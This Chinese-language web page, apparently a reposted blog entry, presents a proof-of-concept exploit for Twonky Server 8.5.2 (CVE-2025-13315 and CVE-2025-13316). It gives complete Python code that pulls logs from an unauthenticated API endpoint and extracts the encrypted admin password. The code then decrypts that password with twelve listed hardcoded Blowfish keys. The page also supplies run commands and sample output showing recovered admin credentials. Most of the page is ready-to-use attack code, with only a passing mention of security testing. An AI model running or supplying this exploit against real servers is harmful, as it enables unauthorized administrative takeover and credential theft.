盐城市网站建设_网站建设公司_数据备份_seo优化
2026/1/2 18:19:42 网站建设 项目流程

Twonky Server 8.5.2 - 认证绕过漏洞利用工具

项目概述

此项目是一个针对 Twonky Server 8.5.2 版本中两个关键漏洞(CVE-2025-13315 和 CVE-2025-13316)的概念验证工具。该工具通过利用未经验证的API端点访问日志文件,并结合硬编码的Blowfish密钥解密管理员凭证,可在数秒内获取Twonky服务器的完全管理权限。

该漏洞的CVSS评分为 9.3(严重),攻击者无需任何凭据即可远程执行攻击。

功能特性

  • 无需认证访问:利用CVE-2025-13315漏洞,无需登录即可访问受保护的API端点。
  • 日志文件提取:自动从服务器下载包含加密凭证的日志文件。
  • 智能解析:使用正则表达式从日志中提取加密的管理员密码和密钥索引。
  • 密钥解密:使用12个硬编码的Blowfish密钥(从TwonkyServer.exe/libtwonkyserver.so提取)解密密码。
  • 快速执行:整个攻击流程在2秒内完成,效率极高。
  • 错误处理:完善的连接和数据处理异常处理机制。

安装指南

系统要求

  • Python 3.x
  • 支持的操作系统:Linux, Windows, macOS

依赖安装

运行以下命令安装必要的Python库:

pip3 install requests cryptography

注意事项

  • 由于Twonky服务器常使用自签名证书,工具已禁用SSL警告。
  • 需要网络访问目标Twonky服务器的能力(通常运行在9000端口)。

使用说明

基本使用

运行以下命令启动攻击:

sudo python3 CVE-2025-13315.py http://目标IP:9000

使用示例

假设目标服务器IP为192.168.1.100,运行:

sudo python3 CVE-2025-13315.py http://192.168.1.100:9000

预期输出

成功的攻击将产生类似以下输出:

╔══════════════════════════════════════════════════════════╗
║ Twonky Server 8.5.2 - Full Auth Bypass PoC               ║
║ CVE-2025-13315 + CVE-2025-13316                          ║
║ 100% Working • No Patch Available • November 2025        ║
╚══════════════════════════════════════════════════════════╝[+] Targeting: http://192.168.1.100:9000
[+] Fetching log via CVE-2025-13315 bypass endpoint...
[+] Encrypted credential found!Key Index : 3Ciphertext: a1b2c3d4e5f6...[+] SUCCESS! Plaintext credentials recovered:Username: adminPassword: MySecretAdminPass123!

典型使用场景

  1. 安全研究人员验证Twonky服务器的漏洞状态
  2. 渗透测试人员评估网络安全性
  3. 系统管理员检查自己的服务器是否易受攻击

核心代码

1. 主漏洞利用函数

def exploit_twonky(target):"""主漏洞利用函数,协调整个攻击流程"""url = f"{target.rstrip('/')}/nmc/rpc/log_getfile"print(f"[+] Targeting: {target}")print(f"[+] Fetching log via CVE-2025-13315 bypass endpoint...")try:# 利用CVE-2025-13315访问无需认证的日志获取端点r = requests.get(url, timeout=10, verify=False)if r.status_code != 200 or len(r.text) < 100:print("[-] Failed to retrieve log. Is Twonky running and vulnerable?")returnexcept:print("[-] Connection failed. Check IP/port.")return# 使用正则表达式从日志中提取加密凭证# 模式:admin||{密钥索引}{十六进制密文}match = re.search(r'admin\|\|(\d+)([a-fA-F0-9]{30,})', r.text)if not match:print("[-] No encrypted credentials found in log.")returnidx = int(match.group(1))  # 提取密钥索引cipher_hex = match.group(2)  # 提取十六进制密文print(f"[+] Encrypted credential found!")print(f"    Key Index : {idx}")print(f"    Ciphertext: {cipher_hex[:64]}...")try:# 使用CVE-2025-13316的硬编码密钥解密密码password = decrypt_blowfish_ecb(idx, cipher_hex)print(f"\n[+] SUCCESS! Plaintext credentials recovered:")print(f"    Username: admin")print(f"    Password: {password}")except Exception as e:print(f"[-] Decryption failed: {e}")

2. Blowfish解密函数

def decrypt_blowfish_ecb(key_index, ciphertext_hex):"""使用ECB模式的Blowfish算法解密数据参数:key_index: 密钥索引(0-11)ciphertext_hex: 十六进制编码的密文返回:解密后的明文密码"""# 从硬编码密钥数组中选择对应的密钥key = KEYS[key_index]# 将十六进制字符串转换为字节ciphertext = binascii.unhexlify(ciphertext_hex)# 创建Blowfish解密器(ECB模式)cipher = Cipher(algorithms.Blowfish(key), modes.ECB(), backend=default_backend())decryptor = cipher.decryptor()# 执行解密padded = decryptor.update(ciphertext) + decryptor.finalize()# 移除PKCS#7填充pad_len = padded[-1]plaintext = padded[:-pad_len]# 返回解码后的字符串,移除空字符return plaintext.decode('utf-8', errors='ignore').rstrip('\x00')

3. 硬编码密钥数组

# 从TwonkyServer.exe/libtwonkyserver.so提取的12个静态Blowfish密钥
KEYS = [b"E8ctd4jZwMbaV587",  # 索引0b"TGFWfWuW3cw28trN",  # 索引1b"pgqYY2g9atVpTzjY",  # 索引2b"KX7q4gmQvWtA8878",  # 索引3b"VJjh7ujyT8R5bR39",  # 索引4b"ZMWkaLp9bKyV6tXv",  # 索引5b"KMLvvq6my7uKkpxf",  # 索引6b"jwEkNvuwYCjsDzf5",  # 索引7b"FukE5DhdsbCjuKay",  # 索引8b"SpKNj6qYQGjuGMdd",  # 索引9b"qLyXuAHPTF2cPGWj",  # 索引10b"rKz7NBhM3vYg85mg"   # 索引11
]

4. 主程序入口

if __name__ == "__main__":# 显示工具横幅banner = """
╔══════════════════════════════════════════════════════════╗
║ Twonky Server 8.5.2 - Full Auth Bypass PoC               ║
║ CVE-2025-13315 + CVE-2025-13316                          ║
║ 100% Working • No Patch Available • November 2025        ║
╚══════════════════════════════════════════════════════════╝"""print(banner)# 检查命令行参数if len(sys.argv) != 2:print("Usage: sudo python3 CVE-2025-13315.py http://192.168.1.100:9000")sys.exit(1)# 执行漏洞利用exploit_twonky(sys.argv[1])

代码特点

  1. 模块化设计:每个函数职责单一,便于理解和维护
  2. 错误处理:完善的异常捕获和处理机制
  3. 用户友好:清晰的输出和进度提示
  4. 高效执行:优化的解密算法,快速获取结果
  5. 可扩展性:代码结构支持添加新功能或适应其他漏洞
    6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPvdThCF33pxnTpk89QBG67
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询